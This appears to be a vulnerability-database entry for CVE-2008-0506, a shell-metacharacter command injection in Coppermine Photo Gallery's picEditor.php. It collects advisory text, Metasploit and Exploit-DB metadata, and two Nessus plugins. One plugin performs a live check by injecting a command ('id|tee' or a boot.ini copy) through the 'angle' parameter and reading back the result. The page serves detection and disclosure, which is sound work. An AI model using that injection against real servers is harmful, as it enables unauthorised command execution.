Vulnerabilities > CVE-2008-0506 - Improper Input Validation vulnerability in Coppermine Photo Gallery
Attack vector
UNKNOWN Attack complexity
UNKNOWN Privileges required
UNKNOWN Confidentiality impact
UNKNOWN Integrity impact
UNKNOWN Availability impact
UNKNOWN Summary
include/imageObjectIM.class.php in Coppermine Photo Gallery (CPG) before 1.4.15, when the ImageMagick picture processing method is configured, allows remote attackers to execute arbitrary commands via shell metacharacters in the (1) quality, (2) angle, or (3) clipval parameter to picEditor.php.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
Application | 1 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Buffer Overflow via Environment Variables This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
- Server Side Include (SSI) Injection An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
- Cross Zone Scripting An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
- Cross Site Scripting through Log Files An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
- Command Line Execution through SQL Injection An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
Exploit-Db
description Coppermine Photo Gallery. CVE-2008-0506. Webapps exploit for php platform id EDB-ID:16909 last seen 2016-02-02 modified 2010-07-03 published 2010-07-03 reporter metasploit source https://www.exploit-db.com/download/16909/ title Coppermine Photo Gallery <= 1.4.14 picEditor.php Command Execution id EDB-ID:5019
Metasploit
description | This module exploits a vulnerability in the picEditor.php script of Coppermine Photo Gallery versions 1.4.14 and earlier. When configured to use the ImageMagick library, the 'quality', 'angle', and 'clipval' parameters are not properly escaped before being passed to the PHP 'exec' command. In order to reach the vulnerable 'exec' call, the input must pass several validation steps. The vulnerabilities actually reside in the following functions: image_processor.php: rotate_image(...) include/imageObjectIM.class.php: imageObject::cropImage(...) include/imageObjectIM.class.php: imageObject::rotateImage(...) include/imageObjectIM.class.php: imageObject::resizeImage(...) include/picmgmt.inc.php: resize_image(...) NOTE: Use of the ImageMagick library is a non-default option. However, a user can specify its use at installation time. |
id | MSF:EXPLOIT/UNIX/WEBAPP/COPPERMINE_PICEDITOR |
last seen | 2020-02-25 |
modified | 2017-07-24 |
published | 2010-02-19 |
references | |
reporter | Rapid7 |
source | https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/webapp/coppermine_piceditor.rb |
title | Coppermine Photo Gallery picEditor.php Command Execution |
Nessus
NASL family CGI abuses NASL id COPPERMINE_IMAGEOBJECTIM_CMD_EXEC.NASL description The version of Coppermine Photo Gallery installed on the remote host fails to sanitize user input to the last seen 2020-06-01 modified 2020-06-02 plugin id 30132 published 2008-01-31 reporter This script is Copyright (C) 2008-2018 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/30132 title Coppermine imageObjectIM.class.php Command Execution Vulnerabilities code # # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(30132); script_version("1.26"); script_cvs_date("Date: 2018/11/28 22:47:41"); script_cve_id("CVE-2008-0506"); script_bugtraq_id(27512); script_name(english:"Coppermine imageObjectIM.class.php Command Execution Vulnerabilities"); script_summary(english:"Tries to run a command using Coppermine"); script_set_attribute(attribute:"synopsis", value: "The remote web server contains a PHP script that allows arbitrary command execution." ); script_set_attribute(attribute:"description", value: "The version of Coppermine Photo Gallery installed on the remote host fails to sanitize user input to the 'quality', 'angle' and 'clipval' parameters of the 'picEditor.php' script before using it in 'exec()' statements to call ImageMagick to process new images. An unauthenticated, remote attacker can leverage this issue to execute arbitrary code on the remote host subject to the privileges of the web server user id." ); script_set_attribute(attribute:"see_also", value:"http://www.waraxe.us/advisory-65.html"); script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/487310/30/0/threaded" ); script_set_attribute(attribute:"see_also", value:"http://coppermine-gallery.net/forum/index.php?topic=50103.0" ); script_set_attribute(attribute:"solution", value: "Either reconfigure the application to use GD as its graphics library, which is the default, or upgrade to Coppermine Photo Gallery version 1.4.15 or later." ); script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P"); script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C"); script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"exploit_framework_core", value:"true"); script_set_attribute(attribute:"metasploit_name", value:'Coppermine Photo Gallery picEditor.php Command Execution'); script_set_attribute(attribute:"exploit_framework_metasploit", value:"true"); script_set_attribute(attribute:"exploit_framework_canvas", value:"true"); script_set_attribute(attribute:"canvas_package", value:'CANVAS'); script_cwe_id(20); script_set_attribute(attribute:"plugin_publication_date", value:"2008/01/31"); script_set_attribute(attribute:"plugin_type", value:"remote"); script_set_attribute(attribute:"exploited_by_nessus", value:"true"); script_end_attributes(); script_category(ACT_DESTRUCTIVE_ATTACK); script_family(english:"CGI abuses"); script_copyright(english:"This script is Copyright (C) 2008-2018 and is owned by Tenable, Inc. or an Affiliate thereof."); script_dependencies("coppermine_gallery_detect.nasl", "os_fingerprint.nasl"); script_exclude_keys("Settings/disable_cgi_scanning"); script_require_ports("Services/www", 80); script_require_keys("www/PHP"); exit(0); } include("audit.inc"); include("global_settings.inc"); include("misc_func.inc"); include("http.inc"); include("url_func.inc"); include("webapp_func.inc"); include("data_protection.inc"); port = get_http_port(default:80, embedded: 0, php:1); outfile = string("include/", SCRIPT_NAME, "-", unixtime(), ".log"); os = get_kb_item("Host/OS"); if (os && "Windows" >< os) cmd = string("cmd /c copy C:\\boot.ini ", outfile); else cmd = string("id|tee ", outfile); # Test an install. i = get_install_from_kb(appname: "coppermine_photo_gallery", port: port, exit_on_fail: 1); dir = i['dir']; # Make sure the affected script exists. url = dir + "/picEditor.php"; r = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail: 1); res = r[2]; # If it does... if ("background-image:url(picEditor.php?img=left);" >< res) { # Try to exploit the flaw to run a command. exploit = string("180;", cmd, ";"); postdata = string( "newimage=../../images/thumb_zip.jpg&", "quality=50&", "angle=", exploit ); r = http_send_recv3(method: "POST", item: url, port: port, content_type: "application/x-www-form-urlencoded", data: postdata, exit_on_fail: 1); res = r[2]; # Retrieve the file with our command output. r = http_send_recv3(method:"GET", item:string(dir, "/", outfile), port:port, exit_on_fail: 1); res = r[2]; if ( strlen(res) && ( ("id" >< cmd && egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res)) || ("boot.ini" >< cmd && "[boot loader]" >< res) ) ) { if (report_verbosity) { if ("id" >< cmd) cmd = cmd - strstr(cmd, "|"); report = string( "\n", "Nessus was able to execute the command '", cmd, "' on the remote\n", "host to produce the following results :\n", "\n", data_protection::sanitize_uid(output:res) ); security_warning(port:port, extra:report); } else security_warning(port); } }
NASL family FreeBSD Local Security Checks NASL id FREEBSD_PKG_9F581778E3D411DCBB89000BCDC1757A.NASL description Coppermine Security advisory The development team is releasing a security update for Coppermine in order to counter a recently discovered cross-site-scripting vulnerability. last seen 2020-06-01 modified 2020-06-02 plugin id 31183 published 2008-02-26 reporter This script is Copyright (C) 2008-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/31183 title FreeBSD : coppermine -- multiple vulnerabilities (9f581778-e3d4-11dc-bb89-000bcdc1757a) code #%NASL_MIN_LEVEL 80502 # # (C) Tenable Network Security, Inc. # # The descriptive text and package checks in this plugin were # extracted from the FreeBSD VuXML database : # # Copyright 2003-2018 Jacques Vidrine and contributors # # Redistribution and use in source (VuXML) and 'compiled' forms (SGML, # HTML, PDF, PostScript, RTF and so forth) with or without modification, # are permitted provided that the following conditions are met: # 1. Redistributions of source code (VuXML) must retain the above # copyright notice, this list of conditions and the following # disclaimer as the first lines of this file unmodified. # 2. Redistributions in compiled form (transformed to other DTDs, # published online in any format, converted to PDF, PostScript, # RTF and other formats) must reproduce the above copyright # notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # # THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS # BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, # OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT # OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR # BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE # OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION, # EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # include("compat.inc"); if (description) { script_id(31183); script_version("1.21"); script_cvs_date("Date: 2019/08/02 13:32:39"); script_cve_id("CVE-2008-0504", "CVE-2008-0505", "CVE-2008-0506"); script_xref(name:"Secunia", value:"28682"); script_name(english:"FreeBSD : coppermine -- multiple vulnerabilities (9f581778-e3d4-11dc-bb89-000bcdc1757a)"); script_summary(english:"Checks for updated package in pkg_info output"); script_set_attribute( attribute:"synopsis", value:"The remote FreeBSD host is missing a security-related update." ); script_set_attribute( attribute:"description", value: "Coppermine Security advisory The development team is releasing a security update for Coppermine in order to counter a recently discovered cross-site-scripting vulnerability." ); # http://coppermine-gallery.net/forum/index.php?topic=48106.0 script_set_attribute( attribute:"see_also", value:"http://forum.coppermine-gallery.net/index.php?topic=48106.0" ); # http://coppermine-gallery.net/forum/index.php?topic=50103.0 script_set_attribute( attribute:"see_also", value:"http://forum.coppermine-gallery.net/index.php?topic=50103.0" ); # https://vuxml.freebsd.org/freebsd/9f581778-e3d4-11dc-bb89-000bcdc1757a.html script_set_attribute( attribute:"see_also", value:"http://www.nessus.org/u?c8e9f273" ); script_set_attribute(attribute:"solution", value:"Update the affected package."); script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"exploit_framework_core", value:"true"); script_set_attribute(attribute:"metasploit_name", value:'Coppermine Photo Gallery picEditor.php Command Execution'); script_set_attribute(attribute:"exploit_framework_metasploit", value:"true"); script_set_attribute(attribute:"exploit_framework_canvas", value:"true"); script_set_attribute(attribute:"canvas_package", value:'CANVAS'); script_cwe_id(20, 79, 89); script_set_attribute(attribute:"plugin_type", value:"local"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:coppermine"); script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd"); script_set_attribute(attribute:"vuln_publication_date", value:"2007/11/06"); script_set_attribute(attribute:"patch_publication_date", value:"2008/02/25"); script_set_attribute(attribute:"plugin_publication_date", value:"2008/02/26"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_copyright(english:"This script is Copyright (C) 2008-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_family(english:"FreeBSD Local Security Checks"); script_dependencies("ssh_get_info.nasl"); script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info"); exit(0); } include("audit.inc"); include("freebsd_package.inc"); if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED); if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD"); if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING); flag = 0; if (pkg_test(save_report:TRUE, pkg:"coppermine<1.4.15")) flag++; if (flag) { if (report_verbosity > 0) security_warning(port:0, extra:pkg_report_get()); else security_warning(0); exit(0); } else audit(AUDIT_HOST_NOT, "affected");
Packetstorm
data source | https://packetstormsecurity.com/files/download/86501/coppermine_piceditor.rb.txt |
id | PACKETSTORM:86501 |
last seen | 2016-12-05 |
published | 2010-02-20 |
reporter | Janek Vind aka waraxe |
source | https://packetstormsecurity.com/files/86501/Coppermine-Photo-Gallery-1.4.14-picEditor.php-Command-Execution.html |
title | Coppermine Photo Gallery 1.4.14 picEditor.php Command Execution |
References
- http://coppermine-gallery.net/forum/index.php?topic=50103.0
- http://coppermine-gallery.net/forum/index.php?topic=50103.0
- http://secunia.com/advisories/28682
- http://secunia.com/advisories/28682
- http://www.securityfocus.com/archive/1/487310/100/200/threaded
- http://www.securityfocus.com/archive/1/487310/100/200/threaded
- http://www.securityfocus.com/bid/27512
- http://www.securityfocus.com/bid/27512
- http://www.securitytracker.com/id?1019286
- http://www.securitytracker.com/id?1019286
- http://www.vupen.com/english/advisories/2008/0367
- http://www.vupen.com/english/advisories/2008/0367
- http://www.waraxe.us/advisory-65.html
- http://www.waraxe.us/advisory-65.html
- https://www.exploit-db.com/exploits/5019
- https://www.exploit-db.com/exploits/5019